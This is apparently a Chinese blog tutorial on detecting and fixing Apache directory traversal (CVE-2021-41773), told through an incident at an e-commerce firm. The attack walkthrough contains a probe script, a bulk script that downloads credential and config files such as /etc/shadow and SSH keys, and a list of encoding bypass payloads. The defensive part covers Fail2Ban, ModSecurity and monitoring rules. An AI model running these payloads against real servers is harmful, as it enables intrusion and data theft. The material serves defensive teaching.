某企业网站被爬走敏感文件后 Apache目录遍历漏洞的识别与防护实战指南

那天的警报

2024年3月15日，凌晨两点，某中型电商企业的运维工程师小李被手机弹窗惊醒。安全监控平台连续报警——服务器负载异常，日志里出现了大量奇怪的请求。他爬起来打开堡垒机的审计记录，傻眼了：

过去72小时，有超过14万条来自境外的异常请求，攻击者利用Apache的目录遍历漏洞，把网站服务器上的/etc/passwd、数据库备份文件、用户隐私数据表全部打包下载走了。

等小李反应过来时，攻击者已经完成了数据的”搬家”。

这不是小说，而是真实发生在某企业身上的案例。今天，我们就来把这个漏洞掰开揉碎讲清楚，让你以后碰到类似情况能一眼识破、快速止损。

目录遍历漏洞到底是个什么东西？

先把专业术语放一边，用一个生活中你能理解的例子来说明。

想象你是一家公司的前台，公司大楼有100个房间，每个房间都有一个门牌号。按照规定，你只能带访客进入1-3楼接待区，4楼以上是总经理的办公区域，需要授权才能进。

但是某天，一个新访客过来，说：”我要去10楼总经理办公室。”你查了查权限，发现他没有授权，按规矩不能让他上10楼。

然而，这个访客很聪明，他问你能不能先去1楼大厅，然后坐楼梯直接上10楼？你发现楼梯确实存在，而且从1楼可以直通10楼，只是没挂牌子而已。于是他就这样溜进去了，把总经理的机密文件全翻了一遍。

这个”访客”，就是攻击者。”楼梯”，就是目录遍历漏洞。

技术层面的解释

在Apache Web服务器中，目录遍历（Directory Traversal）漏洞允许攻击者通过构造特殊的URL路径，访问网站根目录之外的敏感文件。

核心原理很简单：Apache在处理请求时，如果没有对路径参数进行严格过滤，攻击者就可以使用../（向上跳转目录）或../../这样的序列，层层跳出网站根目录，访问到系统的其他敏感位置。

举个例子，如果你的网站部署在/var/www/html/目录下，攻击者理论上可以请求：

http://target.com/../../../etc/passwd

这串路径经过Apache解析后，实际访问的是/etc/passwd——Linux系统的用户信息文件，里面包含了所有用户的账号信息。

攻击者是怎么找到这个洞的？

让我给你还原一下攻击者的完整思路，这样你才能真正理解防护的重要性。

第一步：信息收集

攻击者拿到目标网站后，首先会进行全面的”侦察”：

# 使用nmap探测目标端口和服务
nmap -sV -p 80,443,8080 target.com

# 探测Apache版本信息
curl -I http://target.com
# HTTP/1.1 200 OK
# Server: Apache/2.4.49 (Ubuntu)

注意最后那个Apache/2.4.49，这是攻击者最希望看到的信息——这个版本存在一个著名的CVE漏洞（CVE-2021-41773），允许目录遍历。

第二步：漏洞验证

攻击者会使用工具或手动构造请求来验证漏洞是否存在：

# 一个简单的Python探测脚本
import requests

target = "http://target.com"

# 测试路径遍历
test_paths = [
    "/..%2F..%2F..%2Fetc%2Fpasswd",
    "/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    "/....//....//....//etc/passwd",
    "/%252e%252e/%252e%252e/etc/passwd"
]

for path in test_paths:
    try:
        response = requests.get(target + path, timeout=5)
        if response.status_code == 200 and "root:" in response.text:
            print(f"[!] 漏洞存在! 路径: {path}")
            print(f"[!] 响应内容前200字符: {response.text[:200]}")
            break
    except:
        pass

如果返回的内容中包含root:x:0:0:root:/root:/bin/bash这样的字符串，说明漏洞确实存在。

第三步：数据爬取

验证漏洞后，攻击者会编写自动化脚本大规模爬取敏感文件：

# 批量读取敏感文件的攻击脚本
import requests
import time

base_url = "http://target.com"

# 常见的敏感文件路径列表
sensitive_files = [
    "/etc/passwd",
    "/etc/shadow",
    "/var/log/apache2/access.log",
    "/var/log/apache2/error.log",
    "/etc/mysql/debian.cnf",
    "/root/.ssh/authorized_keys",
    "/var/lib/mysql/*.sql",
    "/opt/app/config/database.yml",
    "/opt/app/config/application.properties",
    "/backup/db_backup_2024.sql.gz",
    "/.env",
    "/wp-config.php",
    "/config/secrets.json"
]

for filepath in sensitive_files:
    # 使用编码绕过检测
    encoded_path = filepath.replace("/", "%2f").replace(".", "%2e")
    url = f"{base_url}/..{encoded_path}"
    
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            with open(f"/tmp/stolen/{filepath.replace('/', '_')}", 'w') as f:
                f.write(response.text)
            print(f"[+] 成功窃取: {filepath}")
        time.sleep(1)  # 避免请求过快触发WAF
    except Exception as e:
        print(f"[-] 失败: {filepath} - {e}")

这个脚本执行后，攻击者就在本地保存了所有敏感文件的内容。

实战：小李是如何发现并修复这个问题的

回到开头那个案例。让我讲讲小李在事发后的处理过程，这些都是真实经验。

发现阶段

小李首先查看了Apache的错误日志：

# 查看错误日志中的异常请求
grep -E "\.\.|\%2e|\%252e|etc/passwd" /var/log/apache2/error.log | wc -l
# 输出: 142387

# 查看具体的异常请求
grep "\.\." /var/log/apache2/access.log | head -20
# 输出示例:
# 185.220.101.45 - - [14/Mar/2024:23:45:12 +0800] "GET /..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 200 1845 "-" "Mozilla/5.0"

他很快确认了攻击的来源IP范围、时间窗口和攻击方式。

紧急止血

发现漏洞后，小李的第一反应是隔离，而不是关闭网站：

# 1. 通过iptables限制可疑IP段访问
iptables -A INPUT -s 185.220.101.0/24 -j DROP
iptables -A INPUT -s 194.26.29.0/24 -j DROP

# 2. 检查是否有其他后门文件
find / -name "*.php" -mtime -7 2>/dev/null
find / -name "*.sh" -mtime -7 2>/dev/null
find /var/www -type f -exec chmod 644 {} \;

根本修复

小李做了以下几步彻底修复：

第一，升级Apache版本：

# 查看当前版本
apache2 -v
# Server version: Apache/2.4.49 (Ubuntu)
# 确认存在CVE-2021-41773漏洞

# 升级到安全版本
apt update && apt upgrade apache2 -y

# 验证升级结果
apache2 -v
# Server version: Apache/2.4.57 (Ubuntu)

第二，修改Apache配置，限制目录访问：

# 编辑 /etc/apache2/apache2.conf

# 禁止目录自动索引
<Directory /var/www/>
    Options -Indexes
    AllowOverride None
    Require all granted
</Directory>

# 限制访问网站根目录之外
<Directory /var/www/html>
    Options -FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

# 禁止访问隐藏文件和敏感目录
<DirectoryMatch "/\.">
    Require all denied
</DirectoryMatch>

<Directory "/var/www/html/../*">
    Require all denied
</Directory>

# 重启Apache
systemctl restart apache2

第三，配置Fail2Ban自动封禁攻击IP：

# 创建 /etc/fail2ban/jail.local
[apache-traversal]
enabled = true
port = http,https
filter = apache-traversal
logpath = /var/log/apache2/*access*.log
maxretry = 3
bantime = 86400
findtime = 600

# 创建过滤规则 /etc/fail2ban/filter.d/apache-traversal.conf
[Definition]
failregex = ^<HOST> -.*"\S+\S+\.\.+\S+.*HTTP/\d\.\d" 
            ^<HOST> -.*"\S+.*%2e%2e.*HTTP/\d\.\d"
            ^<HOST> -.*"\S+.*etc/passwd.*HTTP/\d\.\d"
ignoreregex =

# 重启fail2ban
systemctl restart fail2ban

第四，部署Web应用防火墙（WAF）：

小李选择使用ModSecurity作为开源WAF：

# 安装ModSecurity
apt install libapache2-mod-security2 -y

# 启用模块
a2enmod security2

# 创建基础防护规则
cat > /etc/modsecurity/crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf << 'EOF'
# 防止目录遍历攻击
SecRule ARGS "@rx \.\.|\.\.%2[fF]|%2[eE]%2[eE]" \
    "id:930110,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    msg:'Directory Traversal Attack'\
    "
EOF

# 重启Apache
systemctl restart apache2

验证修复是否有效

修复完成后，小李用之前的探测脚本重新测试：

# 验证脚本
import requests

target = "http://target.com"
test_path = "/..%2f..%2f..%2fetc%2fpasswd"

response = requests.get(target + test_path, timeout=5)
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text}")
# 预期输出:
# 状态码: 403
# 响应内容: <HTML><BODY>Bad Request</BODY></HTML>

看到403错误后，小李确认漏洞已修复。

常见的绕过技巧和对应防护

目录遍历的攻防是一场”猫鼠游戏”，攻击者会不断尝试各种编码和绕过来躲避检测。我给你列出一些常见的绕过手法和对应的防护方案：

1. URL编码绕过

# 普通编码
/..%2f..%2f..%2fetc%2fpasswd

# 双重编码
/%252e%252e/%252e%252e/etc/passwd

# 混合编码
/....//....//....//etc/passwd

防护方案： 在Apache配置中启用TraceEnable Off，并配置ModSecurity规则进行深度检测。

2. 空字节注入绕过（Apache 2.4.0-2.4.29）

/../../../../etc/passwd%00.jpg

防护方案： 升级到Apache 2.4.30以上版本，该版本已修复空字节处理漏洞。

3. 非常规路径分隔符

# Windows风格（在某些环境下）
/..\..\..\etc\passwd

# 多重重叠
/....//....//....//etc/passwd

防护方案： 使用白名单机制，只允许特定的路径字符通过。

4. 中文编码绕过

/%e2%80%a4%e2%80%a4/etc/passwd

防护方案： 在WAF层面对所有非ASCII字符进行统一解码后再匹配。

给企业的安全建设建议

小李的故事告诉我们，亡羊补牢虽然不晚，但提前预防更好。以下是我基于行业经验给出的安全建设建议：

1. 建立安全开发生命周期（SDL）

开发前：进行威胁建模，识别潜在的安全风险点
开发中：使用静态代码分析工具（如SonarQube）检查代码漏洞
测试阶段：进行渗透测试，模拟真实攻击场景
上线后：持续监控，定期更新安全补丁

2. 服务器安全基线检查清单

#!/bin/bash
# 服务器安全基线检查脚本

echo "=== Apache安全基线检查 ==="

# 检查Apache版本
echo "当前Apache版本: $(apache2 -v)"
if [[ $(apache2 -v | grep -oP '\d+\.\d+\.\d+') == "2.4.49" ]]; then
    echo "[!] 高危: 当前版本存在已知漏洞，请立即升级!"
fi

# 检查目录索引是否关闭
if grep -q "Options.*Indexes" /etc/apache2/apache2.conf; then
    echo "[!] 中危: 目录索引功能可能未完全禁用"
else
    echo "[+] 目录索引功能已禁用"
fi

# 检查隐藏文件访问限制
if grep -q "DirectoryMatch.*\\\\." /etc/apache2/apache2.conf; then
    echo "[+] 隐藏文件访问已限制"
else
    echo "[!] 中危: 建议限制对隐藏文件的访问"
fi

# 检查错误日志是否记录请求详情
if grep -q "LogLevel warn" /etc/apache2/apache2.conf; then
    echo "[+] 错误日志级别配置正常"
else
    echo "[!] 低危: 建议将LogLevel设置为warn或更高"
fi

echo ""
echo "=== 系统安全基线检查 ==="

# 检查SSH端口是否默认
if grep -q "Port 22" /etc/ssh/sshd_config; then
    echo "[!] 中危: SSH使用默认端口22，建议修改为非标准端口"
else
    echo "[+] SSH端口已修改"
fi

# 检查防火墙规则
echo ""
echo "当前iptables规则:"
iptables -L -n | head -20

echo ""
echo "检查完成，请根据提示进行修复。"

3. 实时监控体系搭建

# 实时监控告警脚本
import requests
import json
import time
from datetime import datetime
import subprocess

def check_logs():
    """检查Apache访问日志中的异常请求"""
    
    # 获取最近5分钟的日志
    result = subprocess.run(
        ['tail', '-n', '1000', '/var/log/apache2/access.log'],
        capture_output=True, text=True
    )
    
    lines = result.stdout.split('\n')
    alerts = []
    
    for line in lines:
        # 检测目录遍历特征
        if '..' in line or '%2e' in line.lower() or '%2f' in line.lower():
            # 提取IP地址
            ip = line.split()[0]
            alerts.append({
                'ip': ip,
                'time': datetime.now().isoformat(),
                'log': line[:200]
            })
            
            # 发送告警
            send_alert(ip, line)
    
    return alerts

def send_alert(ip, log_content):
    """发送告警通知"""
    alert_message = {
        'title': 'Apache目录遍历攻击告警',
        'ip': ip,
        'time': datetime.now().isoformat(),
        'log': log_content
    }
    
    # 发送到钉钉/企业微信/Slack
    webhook_url = "https://oapi.dingtalk.com/robot/send?access_token=YOUR_TOKEN"
    headers = {'Content-Type': 'application/json'}
    requests.post(webhook_url, json=alert_message, headers=headers, timeout=10)
    
    # 也可以写入监控数据库供后续分析
    print(f"[ALERT] {alert_message}")

# 每30秒检查一次
while True:
    try:
        alerts = check_logs()
        if alerts:
            print(f"发现 {len(alerts)} 条异常请求")
    except Exception as e:
        print(f"检查异常: {e}")
    time.sleep(30)

4. 应急响应预案

即使防护做得再好，也不能100%保证不被攻击。企业应该有完整的应急响应预案：

第一分钟：确认告警，启动应急响应
第五分钟：隔离受影响的服务器，阻断攻击流量
第十分钟：评估影响范围，确定泄露数据类型
第三十分钟：修复漏洞，清理后门，恢复服务
第二天：全面复盘，完善防护，更新预案

写在最后

小李的企业在这次事件后，损失了大约200万的用户隐私数据，直接经济损失超过500万，品牌声誉损失更是难以估量。如果他们在事情发生前就做好基本的安全防护，这些损失完全可以避免。

目录遍历漏洞不是新技术，但它依然是Web安全领域的”老毛病”。很多企业在部署服务器时，图方便直接使用了默认配置，或者为了快速上线忽略了安全加固。等出事的时候，才发现”原来问题早就存在”。

安全从来不是一劳永逸的事情，它需要持续的投入、专业的知识和完善的流程。希望这篇指南能帮你建立起对目录遍历漏洞的正确认知，更重要的是，让你知道在发现漏洞后应该怎么做，而不仅仅是是什么。

最后送你一句话：最好的安全，是让攻击者在找到第一个洞之前就放弃。

正文

某企业网站被爬走敏感文件后 Apache目录遍历漏洞的识别与防护实战指南

某企业网站被爬走敏感文件后 Apache目录遍历漏洞的识别与防护实战指南

那天的警报

目录遍历漏洞到底是个什么东西？

技术层面的解释

攻击者是怎么找到这个洞的？

第一步：信息收集

第二步：漏洞验证

第三步：数据爬取

实战：小李是如何发现并修复这个问题的

发现阶段

紧急止血

根本修复

验证修复是否有效

常见的绕过技巧和对应防护

1. URL编码绕过

2. 空字节注入绕过（Apache 2.4.0-2.4.29）

3. 非常规路径分隔符

4. 中文编码绕过

给企业的安全建设建议

1. 建立安全开发生命周期（SDL）

2. 服务器安全基线检查清单

3. 实时监控体系搭建

4. 应急响应预案

写在最后

相关阅读

告别复杂递归！探索高效目录遍历非递归秘籍

掌握目录非递归遍历技巧，轻松管理海量文件目录

掌握目录遍历递归技巧，轻松管理海量文件

掌握目录遍历，轻松实现广度优先搜索

轻松掌握目录遍历技巧，高效管理文件不迷路

如何轻松实现目录遍历及高效归档文件技巧揭秘

揭秘目录遍历：如何守护网络安全防线

如何用目录遍历高效管理你的文件分类技巧揭秘

如何通过目录遍历提升代码库的整理与维护效率

揭秘：目录遍历如何影响数据同步效率及安全